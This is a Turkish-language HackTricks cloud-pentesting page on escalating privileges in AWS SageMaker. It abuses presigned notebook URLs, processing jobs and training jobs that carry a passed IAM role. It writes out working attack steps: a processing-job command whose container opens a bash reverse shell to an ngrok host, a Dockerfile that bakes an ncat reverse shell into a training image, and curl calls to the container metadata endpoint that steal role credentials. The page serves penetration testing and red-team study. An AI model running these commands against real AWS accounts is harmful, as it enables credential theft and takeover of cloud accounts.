Aşağıdaki yanıt, yeni oluşturulan notebook örneğinin ARN'sini içeren NotebookInstanceArn alanını içermelidir. Ardından, notebook örneği hazır olduğunda kullanabileceğimiz bir URL oluşturmak için create-presigned-notebook-instance-url API'sini kullanabiliriz:
Tarayıcıyla URL'ye gidin ve sağ üst köşede Open JupyterLabe tıklayın, ardından "Launcher" sekmesine gidin ve "Other" bölümünde "Terminal" düğmesine tıklayın.
Şimdi IAM Rolünün meta veri kimlik bilgilerine erişmek mümkün.
Potansiyel Etki: Belirtilen sagemaker hizmet rolüne ayrıcalık yükseltme.
sagemaker:CreatePresignedNotebookInstanceUrl
Eğer üzerinde Jupyter notebook'lar zaten çalışıyorsa ve onları sagemaker:ListNotebookInstances ile listeleyebiliyorsanız (veya başka bir şekilde keşfedebiliyorsanız). Önceki teknikte belirtildiği gibi, onlar için bir URL oluşturabilir, erişebilir ve kimlik bilgilerini çalabilirsiniz.
Potansiyel Etki: Sagemaker hizmet rolüne ayrıcalık yükseltme.
sagemaker:CreateProcessingJob,iam:PassRole
Bu izinlere sahip bir saldırgan, bir sagemaker rolüne bağlı olarak sagemaker'ın bir işlem işini yürütmesini sağlayabilir. Saldırgan, çalıştırılacak bir AWS yönetilen ECS hesap örneğindeki konteynerin tanımını belirtebilir ve bağlı IAM rolünün kimlik bilgilerini çalabilir.
# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
Potansiyel Etki: Belirtilen sagemaker hizmet rolüne ayrıcalık yükseltme.
sagemaker:CreateTrainingJob, iam:PassRole
Bu izinlere sahip bir saldırgan, bir eğitim işi oluşturabilir ve üzerine bir rol eklenmiş bir keyfi konteyneri çalıştırabilir. Bu nedenle, saldırgan rolün kimlik bilgilerini çalabilir.
Bu senaryo, öncekine göre daha zor sömürülebilir çünkü rev shell veya kimlik bilgilerini doğrudan saldırgana gönderen bir Docker imajı oluşturmanız gerekmektedir (eğitim işinin yapılandırmasında başlangıç komutu belirtemezsiniz).
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p $(awsecrget-login-password--region<region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
**Potansiyel Etki:** Belirtilen sagemaker hizmet rolüne ayrıcalık yükseltme.
## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Bu izinlere sahip bir saldırgan, (potansiyel olarak) bir **hiperparametre eğitim işi** oluşturabilir ve üzerinde bir **rol eklenmiş** bir **keyfi konteyneri çalıştırabilir**.\
_Zaman eksikliği nedeniyle henüz sömürülmüş değil, ancak önceki saldırılara benziyor, sömürü ayrıntılarıyla birlikte PR göndermekten çekinmeyin._
# Referanslar
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking hilelerinizi HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>